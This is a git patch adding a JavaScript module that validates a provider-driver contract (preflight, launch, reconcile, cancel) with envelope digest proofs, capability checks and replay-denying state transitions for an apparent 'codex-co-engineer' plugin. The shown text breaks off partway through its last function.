From bca0a80df78c224ab28c936645c4407596deec5f Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sat, 22 Aug 2026 19:31:41 +0000 Subject: [PATCH 01/81] feat(provider): add the closed P17 driver envelope and capability contract Define ProviderDriverV1 as a pure preflight/launch/reconcile/cancel surface with typed results and exact ChildEnvelopeV1 launch proof. Capability declaration reuses the accepted P05 13-field bridge; live progress, restart reattach, cancellation, and detailed events fail closed when unsupported. Process-local transitions deny duplicate dispatch, stale identity, and post-dispatch replay. No provider transport, registry cutover, scheduler, or durable store is claimed. --- .../mcp/v3/provider-driver.mjs | 863 ++++++++++++++++++ 1 file changed, 863 insertions(+) create mode 100644 plugins/codex-co-engineer/mcp/v3/provider-driver.mjs diff --git a/plugins/codex-co-engineer/mcp/v3/provider-driver.mjs b/plugins/codex-co-engineer/mcp/v3/provider-driver.mjs new file mode 100644 index 0000000..114801d --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/provider-driver.mjs @@ -0,0 +1,863 @@ +// ProviderDriverV1 — closed provider-driver envelope/capability contract +// (P17; ADR 0001 identifiers `no_post_dispatch_fallback_or_replay`, +// `exact_identities`, `bounded_evidence`, `gate_a_no_duplicate_dispatch`, +// `gate_a_decision_or_attention_no_silent_unanswerable`). +// +// Additive v3 module. It owns ONLY the pure contract: +// - the four-operation lifecycle (preflight, launch, reconcile, cancel) +// plus typed results for each operation; +// - exact ChildEnvelopeV1 launch proof (text bytes + raw lowercase 64-hex +// P03 digest; digest-only launches are denied); +// - honest capability declaration aligned to the accepted P05 13-field +// ProviderCapabilitiesV1 bridge (no parallel capability schema); +// - driver-surface features for live progress, restart reattach, +// cancellation, and detailed events, which fail closed when unsupported; +// - process-local status transitions with no durable store, scheduler, +// registry cutover, or provider transport (P18/P20/P19/P21). +// +// Direct-JS inputs use the P05 descriptor-first closure: live and revoked +// Proxies, accessors, symbols, exotic prototypes, sparse arrays, aliases, +// cycles, functions, and own undefined are rejected without running caller +// code. Validated values are detached deep-frozen clones. Replay, fallback, +// resend, merge, and direct-mode keys keep the P02 forbidden-class codes. + +import { Buffer as NodeBuffer } from 'node:buffer'; +import { timingSafeEqual as cryptoTimingSafeEqual } from 'node:crypto'; +import { types as utilTypes } from 'node:util'; + +import { + CAPABILITY_RECORD_ALLOWED_KEYS, + CREATE_PR_POSTURES, + DISPATCH_CERTAINTY_VALUES, + EXACT_MODEL_SELECTION_POSTURES, + MERGE_AUTHORITIES, + PROVIDER_CAPABILITIES_BRIDGE_SCHEMA_ID, + PROVIDER_CAPABILITY_SNAPSHOT_SCHEMA_ID, + REPLAY_POSTURES, + SAME_SESSION_REPLY_POSTURES, + WORKSPACE_SEMANTICS_VALUES, + WORKSPACE_STARTING_POINTS, + normalizeProviderCapabilitySnapshotV1, + projectCapabilityRecordFromP17, +} from './capability-bridge.mjs'; +import { + capturedCreate, + capturedDefineProperty, + capturedDescriptor, + capturedFreeze, + capturedIncludes, + capturedIsArray, + capturedJoin, + capturedTest, + capturedUtf8ByteLength, + sortedCapturedKeys, +} from './grammar.mjs'; +import { DIGEST_HEX_LENGTH, IDENTITY_LABELS, childEnvelopeDigestV1 } from './identity.mjs'; +import { parseChildEnvelopeV1 } from './prompt-compiler.mjs'; +import { + assertAllowedKeys, + assertBoundedText, + assertDenseJsonArray, + assertJsonDataObject, + isPlainObject, +} from './run-manifest.mjs'; +import { + SHA256_DIGEST_PATTERN, + assertDirectJsonClosure, + assertNotProxy, + assertPlainObject, + fail, + freezeData, + hasOwn, + identityBoundDigest, + optOwn, + ownDataValue, +} from './selection-json.mjs'; + +export { + CAPABILITY_RECORD_ALLOWED_KEYS, + CREATE_PR_POSTURES, + DISPATCH_CERTAINTY_VALUES, + EXACT_MODEL_SELECTION_POSTURES, + MERGE_AUTHORITIES, + PROVIDER_CAPABILITIES_BRIDGE_SCHEMA_ID, + PROVIDER_CAPABILITY_SNAPSHOT_SCHEMA_ID, + REPLAY_POSTURES, + SAME_SESSION_REPLY_POSTURES, + WORKSPACE_SEMANTICS_VALUES, + WORKSPACE_STARTING_POINTS, + normalizeProviderCapabilitySnapshotV1, + projectCapabilityRecordFromP17, +}; + +export const PROVIDER_DRIVER_SCHEMA_ID = 'codex-co-engineer.provider-driver.v1'; +export const PROVIDER_DRIVER_VERSION = 1; +export const DRIVER_DECLARATION_SCHEMA_ID = 'codex-co-engineer.driver-declaration.v1'; + +export const DRIVER_OPERATIONS = capturedFreeze([ + 'preflight', 'launch', 'reconcile', 'cancel', +]); + +export const DRIVER_OPERATION_SCHEMA_IDS = capturedFreeze({ + preflight: 'codex-co-engineer.driver-preflight.v1', + launch: 'codex-co-engineer.driver-launch.v1', + reconcile: 'codex-co-engineer.driver-reconcile.v1', + cancel: 'codex-co-engineer.driver-cancel.v1', +}); + +export const DRIVER_RESULT_SCHEMA_IDS = capturedFreeze({ + preflight: 'codex-co-engineer.driver-preflight-result.v1', + launch: 'codex-co-engineer.driver-launch-result.v1', + reconcile: 'codex-co-engineer.driver-reconcile-result.v1', + cancel: 'codex-co-engineer.driver-cancel-result.v1', +}); + +export const DRIVER_SHARED_REQUEST_KEYS = capturedFreeze([ + 'schema', 'version', 'envelope_text', 'child_envelope_digest', +]); +export const DRIVER_RECONCILE_REQUEST_KEYS = capturedFreeze([ + ...DRIVER_SHARED_REQUEST_KEYS, 'include', 'intent', +]); +export const DRIVER_REQUEST_KEYS = DRIVER_RECONCILE_REQUEST_KEYS; + +export const DRIVER_RESULT_REQUIRED_KEYS = capturedFreeze([ + 'schema', 'version', 'run_id', 'assignment_id', 'lane_index', 'base_sha', + 'child_envelope_digest', 'disposition', +]); +export const DRIVER_RESULT_KEYS = capturedFreeze([ + ...DRIVER_RESULT_REQUIRED_KEYS, 'detail_code', 'detail_message', +]); + +export const PREFLIGHT_DISPOSITIONS = capturedFreeze(['ready', 'blocked']); +export const LAUNCH_DISPOSITIONS = capturedFreeze([ + 'not_sent', 'dispatch_uncertain', 'dispatched', +]); +export const RECONCILE_DISPOSITIONS = capturedFreeze([ + 'in_progress', 'terminal', 'unresolved_attention', 'dispatch_uncertain', +]); +export const CANCEL_DISPOSITIONS = capturedFreeze([ + 'cancel_requested', 'cancel_confirmed', 'already_terminal', +]); +export const DRIVER_DISPOSITIONS = capturedFreeze({ + preflight: PREFLIGHT_DISPOSITIONS, + launch: LAUNCH_DISPOSITIONS, + reconcile: RECONCILE_DISPOSITIONS, + cancel: CANCEL_DISPOSITIONS, +}); + +export const DRIVER_FEATURE_KEYS = capturedFreeze([ + 'cancellation', 'detailed_events', 'live_progress', 'restart', +]); +export const DRIVER_FEATURE_VALUES = capturedFreeze({ + cancellation: capturedFreeze(['supported', 'unsupported']), + detailed_events: capturedFreeze(['supported', 'unsupported']), + live_progress: capturedFreeze(['supported', 'unsupported']), + restart: capturedFreeze(['reconcile_reattach_only', 'unsupported']), +}); +export const RECONCILE_INTENTS = capturedFreeze(['observe', 'restart_reattach']); +export const RECONCILE_INCLUDE_VALUES = capturedFreeze([ + 'detailed_events', 'live_progress', +]); +export const DRIVER_DECLARATION_KEYS = capturedFreeze([ + 'schema', 'capability', 'features', +]); +export const CAPABILITY_REQUIREMENT_KEYS = capturedFreeze([ + 'artifact_kinds', 'create_pr_posture', 'dispatch_certainty', + 'exact_model_selection', 'merge_authority', 'replay_posture', + 'same_session_reply', 'workspace_semantics', 'workspace_starting_point', +]); + +export const DETAIL_CODE_PATTERN = /^[a-z0-9][a-z0-9._-]{0,63}$/u; +export const DETAIL_MESSAGE_MAX_BYTES = 512; +export const CHILD_ENVELOPE_DIGEST_PATTERN = new RegExp(`^[0-9a-f]{${DIGEST_HEX_LENGTH}}$`, 'u'); + +const ARRAY_PUSH = Array.prototype.push; +const BUFFER_FROM = NodeBuffer.from.bind(NodeBuffer); +const IS_PROXY = utilTypes.isProxy; +const MAP_CTOR = Map; +const OBJECT_FREEZE = Object.freeze; +const SET_CTOR = Set; +const SET_ADD = SET_CTOR.prototype.add; +const SET_HAS = SET_CTOR.prototype.has; +const STRING = String; +const TIMING_SAFE_EQUAL = cryptoTimingSafeEqual; + +const REQUEST_KEYS_BY_OPERATION = capturedFreeze({ + preflight: DRIVER_SHARED_REQUEST_KEYS, + launch: DRIVER_SHARED_REQUEST_KEYS, + reconcile: DRIVER_RECONCILE_REQUEST_KEYS, + cancel: DRIVER_SHARED_REQUEST_KEYS, +}); + +const POSSIBLE_SEND_STATES = capturedFreeze([ + 'dispatch_uncertain', 'dispatched', 'in_progress', 'unresolved_attention', + 'terminal', 'cancel_requested', 'cancel_confirmed', 'already_terminal', +]); +const PRE_LAUNCH_STATES = capturedFreeze(['absent', 'ready', 'blocked', 'not_sent']); + +function truncateForMessage(value) { + const text = STRING(value); + return text.length > 48 ? `${text.slice(0, 45)}...` : text; +} + +function requestKeysFor(operation) { + return REQUEST_KEYS_BY_OPERATION[operation]; +} + +function detachFrozenJson(value) { + if (value === null || typeof value !== 'object') return value; + if (capturedIsArray(value)) { + const clone = []; + for (let index = 0; index < value.length; index += 1) { + ARRAY_PUSH.call(clone, detachFrozenJson(value[index])); + } + return OBJECT_FREEZE(clone); + } + const clone = {}; + const keys = sortedCapturedKeys(value); + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + capturedDefineProperty(clone, key, { + value: detachFrozenJson(optOwn(value, key)), + enumerable: true, + configurable: false, + writable: false, + }); + } + return OBJECT_FREEZE(clone); +} + +function assertLowerHexDigest64(value, path) { + if (typeof value !== 'string' || !capturedTest(CHILD_ENVELOPE_DIGEST_PATTERN, value)) { + fail('invalid_format', path, + `${path} must be a raw lowercase ${DIGEST_HEX_LENGTH}-hex sha256 digest.`); + } +} + +function digestsEqual(left, right) { + return typeof left === 'string' && typeof right === 'string' + && capturedTest(CHILD_ENVELOPE_DIGEST_PATTERN, left) + && capturedTest(CHILD_ENVELOPE_DIGEST_PATTERN, right) + && TIMING_SAFE_EQUAL(BUFFER_FROM(left, 'hex'), BUFFER_FROM(right, 'hex')); +} + +function proveChildEnvelope(request, path) { + const envelopeText = optOwn(request, 'envelope_text'); + if (typeof envelopeText !== 'string') { + fail('invalid_type', `${path}.envelope_text`, + `${path}.envelope_text must be the exact compiled ChildEnvelopeV1 text.`); + } + const parsed = parseChildEnvelopeV1(envelopeText); + const textBytes = capturedUtf8ByteLength(envelopeText); + if (textBytes !== parsed.envelope_byte_length) { + fail('envelope_byte_length_mismatch', `${path}.envelope_text`, + `${path}.envelope_text encodes ${textBytes} UTF-8 bytes while its strict parse declares ` + + `${parsed.envelope_byte_length}.`); + } + assertLowerHexDigest64(optOwn(request, 'child_envelope_digest'), `${path}.child_envelope_digest`); + const actual = childEnvelopeDigestV1(parsed).digest; + if (!digestsEqual(actual, optOwn(request, 'child_envelope_digest'))) { + fail('child_envelope_digest_mismatch', `${path}.child_envelope_digest`, + `${path}.child_envelope_digest does not equal the sha256 digest of the supplied envelope bytes.`); + } + return capturedFreeze({ envelope: parsed, child_envelope_digest: actual }); +} + +function normalizeReconcileInclude(request, path) { + if (!hasOwn(request, 'include')) return capturedFreeze([]); + const include = optOwn(request, 'include'); + assertDenseJsonArray(include, `${path}.include`); + if (include.length === 0 || include.length > RECONCILE_INCLUDE_VALUES.length) { + fail('invalid_format', `${path}.include`, + `${path}.include must list 1-${RECONCILE_INCLUDE_VALUES.length} closed feature names.`); + } + const seen = new SET_CTOR(); + const normalized = []; + for (let index = 0; index < include.length; index += 1) { + const entryPath = `${path}.include[${index}]`; + const value = ownDataValue(include, STRING(index), entryPath); + if (!capturedIncludes(RECONCILE_INCLUDE_VALUES, value)) { + fail('invalid_format', entryPath, + `${entryPath} must be exactly one of ${capturedJoin(RECONCILE_INCLUDE_VALUES, ', ')}.`); + } + if (SET_HAS.call(seen, value)) { + fail('invalid_format', entryPath, `${entryPath} repeats include "${value}".`); + } + SET_ADD.call(seen, value); + ARRAY_PUSH.call(normalized, value); + } + normalized.sort(); + return capturedFreeze(normalized); +} + +function normalizeReconcileIntent(request, path) { + if (!hasOwn(request, 'intent')) return 'observe'; + const intent = optOwn(request, 'intent'); + if (!capturedIncludes(RECONCILE_INTENTS, intent)) { + fail('invalid_format', `${path}.intent`, + `${path}.intent must be exactly one of ${capturedJoin(RECONCILE_INTENTS, ', ')}.`); + } + return intent; +} + +function validateDriverRequest(request, operation) { + const path = `driver.${operation}.request`; + if (request === undefined || request === null) { + fail('invalid_type', path, `${path} must be a plain driver request object.`); + } + assertDirectJsonClosure(request, path); + assertPlainObject(request, 'invalid_type', path, `${path}`); + const allowed = requestKeysFor(operation); + assertAllowedKeys(request, allowed, path); + for (const key of DRIVER_SHARED_REQUEST_KEYS) { + if (hasOwn(request, key)) continue; + if (key === 'envelope_text' && operation === 'launch' + && hasOwn(request, 'child_envelope_digest')) { + fail('digest_only_launch_denied', `${path}.envelope_text`, + 'A digest-only launch is forbidden: the exact compiled ChildEnvelopeV1 text must accompany its digest.'); + } + fail('missing_key', `${path}.${key}`, `${path}.${key} is required.`); + } + if (optOwn(request, 'schema') !== DRIVER_OPERATION_SCHEMA_IDS[operation]) { + fail('schema_mismatch', `${path}.schema`, + `${path}.schema must be exactly "${DRIVER_OPERATION_SCHEMA_IDS[operation]}".`); + } + if (optOwn(request, 'version') !== PROVIDER_DRIVER_VERSION) { + fail('invalid_format', `${path}.version`, + `${path}.version must be exactly ${PROVIDER_DRIVER_VERSION}.`); + } + const proof = proveChildEnvelope(request, path); + const intent = operation === 'reconcile' ? normalizeReconcileIntent(request, path) : undefined; + const include = operation === 'reconcile' ? normalizeReconcileInclude(request, path) : undefined; + const detached = detachFrozenJson(request); + const operationDigest = identityBoundDigest(IDENTITY_LABELS.PROVIDER_OPERATION, { + child_envelope_digest: proof.child_envelope_digest, + operation, + schema: DRIVER_OPERATION_SCHEMA_IDS[operation], + version: PROVIDER_DRIVER_VERSION, + }); + if (!capturedTest(SHA256_DIGEST_PATTERN, operationDigest)) { + fail('invalid_format', `${path}.operation_digest`, + 'Provider-operation digest must be a lowercase sha256:<64 hex> binding.'); + } + return capturedFreeze({ + operation, + request: detached, + envelope: proof.envelope, + child_envelope_digest: proof.child_envelope_digest, + operation_digest: operationDigest, + intent, + include, + }); +} + +function assertDisposition(value, operation, path) { + const allowed = DRIVER_DISPOSITIONS[operation]; + if (!capturedIncludes(allowed, value)) { + fail('invalid_format', path, + `${path} must be exactly one of ${capturedJoin(allowed, ', ')}.`); + } +} + +function validateDetailPair(result, operation, path) { + const hasCode = hasOwn(result, 'detail_code'); + const hasMessage = hasOwn(result, 'detail_message'); + if (hasCode !== hasMessage) { + fail('detail_pair_incomplete', `${path}.detail_code`, + `${path}.detail_code and ${path}.detail_message must be provided together.`); + } + const disposition = optOwn(result, 'disposition'); + const required = (operation === 'preflight' && disposition === 'blocked') + || (operation === 'launch' && disposition === 'not_sent'); + const forbidden = (operation === 'preflight' && disposition === 'ready') + || (operation === 'launch' && disposition !== 'not_sent'); + if (required && !hasCode) { + fail('missing_key', `${path}.detail_code`, + `A ${operation} result with disposition "${disposition}" requires a bounded detail_code/detail_message pair.`); + } + if (forbidden && hasCode) { + fail('detail_pair_denied', `${path}.detail_code`, + `A ${operation} result with disposition "${disposition}" must not carry a detail pair.`); + } + if (!hasCode) return; + const code = optOwn(result, 'detail_code'); + if (typeof code !== 'string' || !capturedTest(DETAIL_CODE_PATTERN, code)) { + fail('invalid_format', `${path}.detail_code`, + `${path}.detail_code violates the bounded grammar ${DETAIL_CODE_PATTERN.source}.`); + } + assertBoundedText(optOwn(result, 'detail_message'), { + min: 1, max: DETAIL_MESSAGE_MAX_BYTES, path: `${path}.detail_message`, label: 'detail_message', + }); +} + +function assertResultIdentity(result, view, path) { + const expected = capturedFreeze({ + run_id: view.envelope.run_id, + assignment_id: view.envelope.assignment_id, + lane_index: view.envelope.lane_index, + base_sha: view.envelope.repository.base_sha, + child_envelope_digest: view.child_envelope_digest, + }); + for (const key of sortedCapturedKeys(expected)) { + const actual = optOwn(result, key); + const value = expected[key]; + const equal = key === 'child_envelope_digest' ? digestsEqual(actual, value) : actual === value; + if (!equal) { + fail('receipt_identity_mismatch', `${path}.${key}`, + `${path}.${key} must echo the exact request identity (${truncateForMessage(value)}), received ${truncateForMessage(actual)}.`); + } + } +} + +function assertCapabilityHonesty(result, operation, declaration, path) { + const capability = declaration.capability; + const disposition = optOwn(result, 'disposition'); + if (operation === 'launch' && disposition === 'dispatched' + && capability.dispatch_certainty === 'uncertain_after_spawn') { + fail('capability_dispatch_certainty_mismatch', `${path}.disposition`, + `${path}.disposition "dispatched" is forbidden when the P05 capability declares ` + + `"uncertain_after_spawn"; report dispatch_uncertain instead.`); + } + if (operation === 'reconcile' && disposition === 'unresolved_attention' + && capability.same_session_reply === 'live_session_reply') { + return; + } + if (operation === 'launch' && disposition !== 'not_sent' + && capability.replay_posture !== 'never_replay') { + fail('invalid_replay_posture', `${path}.disposition`, + 'A launched observation is only valid when the P05 capability declares never_replay.'); + } +} + +function validateDriverResultWithView(result, view, operation, declaration) { + const path = `driver.${operation}.result`; + if (result === undefined || result === null) { + fail('invalid_type', path, `${path} must be a plain driver result object.`); + } + assertDirectJsonClosure(result, path); + assertPlainObject(result, 'invalid_type', path, `${path}`); + assertAllowedKeys(result, DRIVER_RESULT_KEYS, path); + for (const key of DRIVER_RESULT_REQUIRED_KEYS) { + if (!hasOwn(result, key)) { + fail('missing_key', `${path}.${key}`, `${path}.${key} is required.`); + } + } + if (optOwn(result, 'schema') !== DRIVER_RESULT_SCHEMA_IDS[operation]) { + fail('schema_mismatch', `${path}.schema`, + `${path}.schema must be exactly "${DRIVER_RESULT_SCHEMA_IDS[operation]}".`); + } + if (optOwn(result, 'version') !== PROVIDER_DRIVER_VERSION) { + fail('invalid_format', `${path}.version`, + `${path}.version must be exactly ${PROVIDER_DRIVER_VERSION}.`); + } + assertDisposition(optOwn(result, 'disposition'), operation, `${path}.disposition`); + validateDetailPair(result, operation, path); + assertResultIdentity(result, view, path); + if (declaration !== undefined) { + assertCapabilityHonesty(result, operation, declaration, path); + } + return detachFrozenJson(result); +} + +function validateFeatures(features, path) { + assertPlainObject(features, 'invalid_type', path, `${path}`); + assertAllowedKeys(features, DRIVER_FEATURE_KEYS, path); + const normalized = capturedCreate(null); + for (const key of DRIVER_FEATURE_KEYS) { + if (!hasOwn(features, key)) { + fail('missing_key', `${path}.${key}`, + `${path}.${key} is required; driver features have no hidden defaults.`); + } + const value = optOwn(features, key); + if (!capturedIncludes(DRIVER_FEATURE_VALUES[key], value)) { + fail('invalid_format', `${path}.${key}`, + `${path}.${key} must be exactly one of ${capturedJoin(DRIVER_FEATURE_VALUES[key], ', ')}.`); + } + normalized[key] = value; + } + return freezeData({ + cancellation: normalized.cancellation, + detailed_events: normalized.detailed_events, + live_progress: normalized.live_progress, + restart: normalized.restart, + }); +} + +export function validateDriverDeclarationV1(declaration) { + const path = 'driver_declaration'; + if (declaration === undefined || declaration === null) { + fail('missing_key', path, + `${path} is required; a driver never inherits hidden capability or feature defaults.`); + } + assertDirectJsonClosure(declaration, `$.${path}`); + assertPlainObject(declaration, 'invalid_type', path, path); + assertAllowedKeys(declaration, DRIVER_DECLARATION_KEYS, path); + for (const key of DRIVER_DECLARATION_KEYS) { + if (!hasOwn(declaration, key)) { + fail('missing_key', `${path}.${key}`, `${path}.${key} is required.`); + } + } + if (optOwn(declaration, 'schema') !== DRIVER_DECLARATION_SCHEMA_ID) { + fail('schema_mismatch', `${path}.schema`, + `${path}.schema must be exactly "${DRIVER_DECLARATION_SCHEMA_ID}".`); + } + const projected = projectCapabilityRecordFromP17(optOwn(declaration, 'capability')); + const features = validateFeatures(optOwn(declaration, 'features'), `${path}.features`); + return freezeData({ + schema: DRIVER_DECLARATION_SCHEMA_ID, + capability: freezeData({ + schema: PROVIDER_CAPABILITIES_BRIDGE_SCHEMA_ID, + artifact_kinds: projected.artifact_kinds, + create_pr_posture: projected.create_pr_posture, + dispatch_certainty: projected.dispatch_certainty, + exact_model_selection: projected.exact_model_selection, + merge_authority: projected.merge_authority, + notes: projected.notes, + provider: projected.provider, + replay_posture: projected.replay_posture, + revision: projected.revision, + same_session_reply: projected.same_session_reply, + source_digest: projected.source_digest, + workspace_semantics: projected.workspace_semantics, + workspace_starting_point: projected.workspace_starting_point, + }), + features, + }); +} + +function requirementMismatchCode(key) { + if (key === 'same_session_reply') return 'capability_reply_mismatch'; + if (key === 'dispatch_certainty') return 'capability_dispatch_certainty_mismatch'; + if (key === 'workspace_semantics' || key === 'workspace_starting_point') { + return 'capability_workspace_mismatch'; + } + if (key === 'create_pr_posture' || key === 'merge_authority') { + return 'capability_merge_authority_mismatch'; + } + if (key === 'replay_posture') return 'invalid_replay_posture'; + if (key === 'exact_model_selection') return 'invalid_exact_model_selection'; + if (key === 'artifact_kinds') return 'invalid_artifact_kinds'; + return 'unsupported_capability'; +} + +export function assertCapabilityRequirementV1(declaration, requirement) { + const validated = validateDriverDeclarationV1(declaration); + const path = 'capability_requirement'; + if (requirement === undefined || requirement === null) { + fail('invalid_type', path, `${path} must be a plain object of P05 assertable fields.`); + } + assertDirectJsonClosure(requirement, `$.${path}`); + assertPlainObject(requirement, 'invalid_type', path, path); + assertAllowedKeys(requirement, CAPABILITY_REQUIREMENT_KEYS, path); + const keys = sortedCapturedKeys(requirement); + if (keys.length === 0) { + fail('missing_key', path, `${path} must assert at least one closed P05 capability field.`); + } + const capability = validated.capability; + for (const key of keys) { + if (!capturedIncludes(CAPABILITY_REQUIREMENT_KEYS, key)) { + fail('unknown_capability_key', `${path}.${key}`, + `${path}.${key} is not part of the closed P05 capability requirement vocabulary.`); + } + const expected = optOwn(requirement, key); + const actual = capability[key]; + if (key === 'artifact_kinds') { + assertDenseJsonArray(expected, `${path}.${key}`); + for (let index = 0; index < expected.length; index += 1) { + const kind = ownDataValue(expected, STRING(index), `${path}.${key}[${index}]`); + if (!capturedIncludes(actual, kind)) { + fail('unsupported_capability', `${path}.${key}`, + `Capability does not declare artifact kind "${kind}"; unsupported evidence fails closed.`); + } + } + continue; + } + if (expected !== actual) { + fail(requirementMismatchCode(key), `${path}.${key}`, + `${path}.${key} requires "${truncateForMessage(expected)}" but the P05 capability declares ` + + `"${truncateForMessage(actual)}"; unsupported postures fail closed with no fallback.`); + } + } + return validated.capability; +} + +export function assertDriverFeatureV1(declaration, feature) { + const validated = validateDriverDeclarationV1(declaration); + const path = `driver_declaration.features.${feature}`; + if (!capturedIncludes(DRIVER_FEATURE_KEYS, feature)) { + fail('unknown_key', path, `${path} is not a closed driver feature.`); + } + const value = validated.features[feature]; + if (value === 'unsupported') { + fail('unsupported_capability', path, + `Feature "${feature}" is declared unsupported; the driver fails closed with no fallback or replay.`); + } + return value; +} + +function denyUnsupportedFeature(declaration, feature, path) { + if (declaration.features[feature] === 'unsupported') { + fail('unsupported_capability', path, + `Feature "${feature}" is declared unsupported; the driver fails closed with no fallback or replay.`); + } +} + +function assertEnvelopeProvider(view, declaration) { + const envelopeProvider = view.envelope.execution.provider; + if (envelopeProvider !== null && envelopeProvider !== declaration.capability.provider) { + fail('provider_slot_mismatch', 'driver_declaration.capability.provider', + `driver_declaration.capability.provider must be exactly "${envelopeProvider}" for this child envelope.`); + } +} + +function assertRequestedFeatures(view, declaration) { + assertEnvelopeProvider(view, declaration); + if (view.operation === 'cancel') { + denyUnsupportedFeature(declaration, 'cancellation', 'driver_declaration.features.cancellation'); + } + if (view.operation !== 'reconcile') return; + if (view.intent === 'restart_reattach') { + denyUnsupportedFeature(declaration, 'restart', 'driver.reconcile.request.intent'); + } + for (let index = 0; index < view.include.length; index += 1) { + const feature = view.include[index]; + denyUnsupportedFeature(declaration, feature, `driver.reconcile.request.include[${index}]`); + } +} + +function laneKey(envelope) { + return `${envelope.run_id}\u0000${envelope.assignment_id}`; +} + +function assertTransition(operation, state, view) { + const path = `driver.${operation}.request`; + if (operation === 'preflight') { + if (state === 'absent' || state === 'ready' || state === 'blocked' || state === 'not_sent') { + return; + } + fail('invalid_transition', path, + 'Preflight cannot run after a prompt may have been dispatched; reconcile or cancel instead.'); + } + if (operation === 'launch') { + if (state === 'absent') { + fail('not_preflighted', path, + 'Launch requires a prior preflight:ready result for this exact child identity.'); + } + if (state === 'blocked') { + fail('blocked_lane_denied', path, + 'A blocked preflight cannot launch; the lane fails closed with no fallback.'); + } + if (state === 'ready' || state === 'not_sent') return; + fail('replay_denied', path, + 'A previous launch may have sent the prompt; the lane is never replayed onto this or another transport.'); + } + if (operation === 'reconcile') { + if (capturedIncludes(PRE_LAUNCH_STATES, state) && state !== 'not_sent') { + fail('not_dispatched', path, + 'Reconcile addresses an existing dispatch; this child has no launch observation.'); + } + if (state === 'not_sent') { + fail('not_dispatched', path, + 'A not_sent launch never reached the provider; reconcile cannot invent a dispatch.'); + } + if (view.intent === 'restart_reattach' && !capturedIncludes(POSSIBLE_SEND_STATES, state)) { + fail('not_dispatched', `${path}.intent`, + 'restart_reattach is reconcile-only recovery of existing provider work and never a relaunch.'); + } + return; + } + if (capturedIncludes(PRE_LAUNCH_STATES, state)) { + fail('not_dispatched', path, + 'Cancel addresses an existing dispatch; this child has no launch observation.'); + } +} + +function nextState(operation, disposition) { + if (operation === 'preflight') return disposition; + if (operation === 'launch') return disposition; + if (operation === 'reconcile') return disposition; + return disposition; +} + +export function validateDriverPreflightRequestV1(request) { + return validateDriverRequest(request, 'preflight'); +} + +export function validateDriverLaunchRequestV1(request) { + return validateDriverRequest(request, 'launch'); +} + +export function validateDriverReconcileRequestV1(request) { + return validateDriverRequest(request, 'reconcile'); +} + +export function validateDriverCancelRequestV1(request) { + return validateDriverRequest(request, 'cancel'); +} + +export function validateDriverPreflightResultV1(result, request, declaration) { + const view = validateDriverRequest(request, 'preflight'); + const validated = declaration === undefined ? undefined : validateDriverDeclarationV1(declaration); + return validateDriverResultWithView(result, view, 'preflight', validated); +} + +export function validateDriverLaunchResultV1(result, request, declaration) { + const view = validateDriverRequest(request, 'launch'); + const validated = declaration === undefined ? undefined : validateDriverDeclarationV1(declaration); + return validateDriverResultWithView(result, view, 'launch', validated); +} + +export function validateDriverReconcileResultV1(result, request, declaration) { + const view = validateDriverRequest(request, 'reconcile'); + const validated = declaration === undefined ? undefined : validateDriverDeclarationV1(declaration); + return validateDriverResultWithView(result, view, 'reconcile', validated); +} + +export function validateDriverCancelResultV1(result, request, declaration) { + const view = validateDriverRequest(request, 'cancel'); + const validated = declaration === undefined ? undefined : validateDriverDeclarationV1(declaration); + return validateDriverResultWithView(result, view, 'cancel', validated); +} + +export function assertProviderDriverV1(driver) { + const path = 'provider_driver'; + if (driver !== null && (typeof driver === 'object' || typeof driver === 'function') + && IS_PROXY(driver)) { + fail('proxy_denied', path, + `${path} is a live or revoked Proxy; driver surfaces accept concrete operation functions only.`); + } + if (!isPlainObject(driver)) { + if (typeof driver === 'object' && driver !== null && !capturedIsArray(driver)) { + fail('exotic_prototype_denied', path, + `${path} must use the standard or null object prototype; exotic prototypes are denied.`); + } + fail('invalid_type', path, + `${path} must be a plain record of exactly four operation functions.`); + } + const entries = assertJsonDataObject(driver, path); + const expected = new SET_CTOR(DRIVER_OPERATIONS); + if (entries.length !== DRIVER_OPERATIONS.length + || entries.some(({ key }) => !SET_HAS.call(expected, key))) { + const received = entries.map(({ key }) => key).join(', ') || 'none'; + fail('invalid_surface', path, + `${path} must expose exactly the own operations ${capturedJoin(DRIVER_OPERATIONS, ', ')}; received ${received}.`); + } + for (const { key, value } of entries) { + if (typeof value !== 'function' || IS_PROXY(value)) { + fail('invalid_operation', `${path}.${key}`, + `${path}.${key} must be a concrete function implementing the "${key}" operation.`); + } + } + return capturedFreeze({ + schema: PROVIDER_DRIVER_SCHEMA_ID, + version: PROVIDER_DRIVER_VERSION, + operations: capturedFreeze([...DRIVER_OPERATIONS]), + }); +} + +export function bindProviderDriverV1(driver, declaration) { + assertProviderDriverV1(driver); + const validatedDeclaration = validateDriverDeclarationV1(declaration); + const lanes = new MAP_CTOR(); + const bound = {}; + for (const operation of DRIVER_OPERATIONS) { + const handler = capturedDescriptor(driver, operation)?.value; + if (typeof handler !== 'function' || IS_PROXY(handler)) { + fail('invalid_operation', `provider_driver.${operation}`, + `provider_driver.${operation} must be a concrete function.`); + } + capturedDefineProperty(bound, operation, { + value: function boundDriverOperation(request) { + const view = validateDriverRequest(request, operation); + assertRequestedFeatures(view, validatedDeclaration); + const key = laneKey(view.envelope); + const prior = lanes.get(key); + if (prior !== undefined && !digestsEqual(prior.child_envelope_digest, view.child_envelope_digest)) { + fail('stale_identity_denied', `driver.${operation}.request.child_envelope_digest`, + 'The request envelope digest does not match the exact child previously observed on this lane.'); + } + const state = prior === undefined ? 'absent' : prior.state; + assertTransition(operation, state, view); + const result = handler.call(driver, view.request); + const frozen = validateDriverResultWithView(result, view, operation, validatedDeclaration); + lanes.set(key, capturedFreeze({ + child_envelope_digest: view.child_envelope_digest, + state: nextState(operation, frozen.disposition), + })); + return frozen; + }, + enumerable: true, + configurable: false, + writable: false, + }); + } + return OBJECT_FREEZE(bound); +} + +export function buildDriverOperationRequestV1(operation, envelope, extras = {}) { + if (!hasOwn(DRIVER_OPERATION_SCHEMA_IDS, operation)) { + fail('unknown_operation', 'operation', + `operation must be one of ${capturedJoin(DRIVER_OPERATIONS, ', ')}.`); + } + if (extras === undefined || extras === null) { + fail('invalid_type', 'request_extras', 'request extras must be a plain object when present.'); + } + assertDirectJsonClosure(extras, 'request_extras'); + assertPlainObject(extras, 'invalid_type', 'request_extras', 'request extras'); + const extraKeys = operation === 'reconcile' + ? capturedFreeze(['include', 'intent']) + : capturedFreeze([]); + assertAllowedKeys(extras, extraKeys, 